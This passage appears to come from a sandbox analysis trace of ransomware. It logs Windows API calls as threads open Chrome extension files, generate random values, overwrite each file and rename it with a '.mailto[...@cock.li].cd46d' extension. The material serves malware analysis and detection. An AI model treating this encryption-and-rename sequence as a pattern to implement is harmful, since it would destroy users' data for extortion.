lpNumberOfBytesRead=0x2a4f9a4, lpOverlapped=0x0) [0185.810] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.810] WriteFile (in: hFile=0x1174, lpBuffer=0x12d1a018*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x2a4f9a0, lpOverlapped=0x0 | out: lpBuffer=0x12d1a018*, lpNumberOfBytesWritten=0x2a4f9a0*=0x119, lpOverlapped=0x0) returned 1 [0186.069] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c88 [0186.069] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5dc8 [0186.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5dc8) returned 1 [0186.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d1a018) returned 1 [0186.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0186.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c620) returned 1 [0186.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2db8) returned 1 [0186.069] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8928 [0186.069] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.069] WriteFile (in: hFile=0x1174, lpBuffer=0x12cf68a0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2a4fa08, lpOverlapped=0x0 | out: lpBuffer=0x12cf68a0*, lpNumberOfBytesWritten=0x2a4fa08*=0x10b, lpOverlapped=0x0) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf68a0) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5dc8) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c88) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b20) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c60) returned 1 [0186.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fd0) returned 1 [0186.614] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0xd4c8080 [0186.614] wcscpy (in: _Dest=0xd4c8080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" [0186.614] wcscat (in: _Dest=0xd4c8080, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0186.614] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2a4f9c0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0186.614] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x933ca0 Thread: id = 7295 os_tid = 0x135c [0180.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0180.176] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json", dwFileAttributes=0x20) returned 1 [0180.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde8 [0180.177] GetFileSizeEx (in: hFile=0xde8, lpFileSize=0x2c0f9b8 | out: lpFileSize=0x2c0f9b8*=267) returned 1 [0180.177] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x107, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.177] ReadFile (in: hFile=0xde8, lpBuffer=0x2c0f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c0f938, lpOverlapped=0x0 | out: lpBuffer=0x2c0f93c*, lpNumberOfBytesRead=0x2c0f938*=0x4, lpOverlapped=0x0) returned 1 [0180.178] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092a8 [0180.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909280 [0180.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909618 [0180.178] NtQuerySystemTime (in: CurrentTime=0x2c0f918 | out: CurrentTime=0x2c0f918*=132174899547814000) returned 0x0 [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x60d7f70e [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x7889df2a [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x2891357f [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x2eff630b [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x30d0a0ba [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x5bfc6a3d [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x658e6bdc [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x4e7625a9 [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x733896ea [0180.178] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x10f96fac [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x27f2a794 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x6197b5b [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x7cbb95bf [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x1154b2a9 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x7bc00270 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x3ad598e4 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0xc2a0b9a [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x6a6920f0 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x214d4420 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x26a69f6a [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x1a1f47b [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x759b741a [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x100f099c [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x2b7379f6 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x40431d9b [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x15537c72 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x76869165 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x565f5e0b [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x58bef60d [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x7509ab9d [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x507ad330 [0180.179] RtlRandomEx (in: Seed=0x2c0f924 | out: Seed=0x2c0f924) returned 0x7c200a5a [0180.191] ReadFile (hFile=0xde8, lpBuffer=0xd49a048, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x2c0f914, lpOverlapped=0x0) [0180.191] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.191] WriteFile (in: hFile=0xde8, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2c0f910, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x2c0f910*=0x10b, lpOverlapped=0x0) returned 1 [0181.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedf8 [0181.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af000 [0181.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0181.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0181.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0181.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c878) returned 1 [0181.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 [0181.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d82f0 [0181.803] SetFilePointerEx (in: hFile=0xde8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.803] WriteFile (in: hFile=0xde8, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2c0f978, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x2c0f978*=0x10b, lpOverlapped=0x0) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8320) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82f0) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909280) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a28) returned 1 [0182.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0182.735] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f6ce8 [0182.735] wcscpy (in: _Dest=0x8f6ce8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" [0182.735] wcscat (in: _Dest=0x8f6ce8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0182.735] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2c0f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0182.735] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f6e70 Thread: id = 7296 os_tid = 0x1360 [0180.193] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json")) returned 0x2020 [0180.193] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json", dwFileAttributes=0x20) returned 1 [0180.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2dc [0180.194] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x371fbf8 | out: lpFileSize=0x371fbf8*=10089) returned 1 [0180.194] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x2765, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.194] ReadFile (in: hFile=0x2dc, lpBuffer=0x371fb7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x371fb78, lpOverlapped=0x0 | out: lpBuffer=0x371fb7c*, lpNumberOfBytesRead=0x371fb78*=0x4, lpOverlapped=0x0) returned 1 [0180.196] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092a8 [0180.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909618 [0180.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0180.196] NtQuerySystemTime (in: CurrentTime=0x371fb58 | out: CurrentTime=0x371fb58*=132174899547970000) returned 0x0 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x50b30ac2 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x1235535d [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x5cfb3fb3 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x18916d58 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x62065e0a [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0xb6173bb [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x7b47ead4 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x2765e945 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x76558520 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x4e9e817e [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x584033f2 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0xe7e7655 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x25ca3cd0 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x9be83b [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x1e85507f [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x443c81a7 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x5e447095 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x3c6e0c90 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x446bf517 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x15e78fec [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x3dae31d6 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x56b9ade5 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x1a4c1393 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x547068a1 [0180.196] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x7053984 [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x687173f6 [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x745667f4 [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x78dae4dc [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x53f4fb9b [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x7170c4aa [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x2341bfe5 [0180.197] RtlRandomEx (in: Seed=0x371fb64 | out: Seed=0x371fb64) returned 0x2f96c85c [0180.211] ReadFile (hFile=0x2dc, lpBuffer=0x12dec148, nNumberOfBytesToRead=0x2769, lpNumberOfBytesRead=0x371fb54, lpOverlapped=0x0) [0180.212] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.212] WriteFile (in: hFile=0x2dc, lpBuffer=0x12df8950*, nNumberOfBytesToWrite=0x2769, lpNumberOfBytesWritten=0x371fb50, lpOverlapped=0x0 | out: lpBuffer=0x12df8950*, lpNumberOfBytesWritten=0x371fb50*=0x2769, lpOverlapped=0x0) returned 1 [0180.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092a8 [0180.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0180.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909910) returned 1 [0180.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12df8950) returned 1 [0180.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dec148) returned 1 [0180.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bdb0) returned 1 [0180.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2c50) returned 1 [0180.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x39) returned 0x8d2c50 [0180.217] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x2dc, lpBuffer=0x8f72f8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x371fbb8, lpOverlapped=0x0 | out: lpBuffer=0x8f72f8*, lpNumberOfBytesWritten=0x371fbb8*=0x11d, lpOverlapped=0x0) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f72f8) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d25d8) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909910) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2c50) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092a8) returned 1 [0180.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909618) returned 1 [0180.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a00) returned 1 [0180.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dff0) returned 1 [0180.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18a) returned 0x929730 [0180.221] wcscpy (in: _Dest=0x929730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" [0180.221] wcscat (in: _Dest=0x929730, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d" [0180.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x371fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a0) returned 0x8f3a00 Thread: id = 7297 os_tid = 0x1364 [0180.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x99d590 [0180.225] wcscpy (in: _Dest=0x99d590, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am" [0180.225] wcscat (in: _Dest=0x99d590, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\" [0180.225] wcscat (in: _Dest=0x99d590, _Source="*" | out: 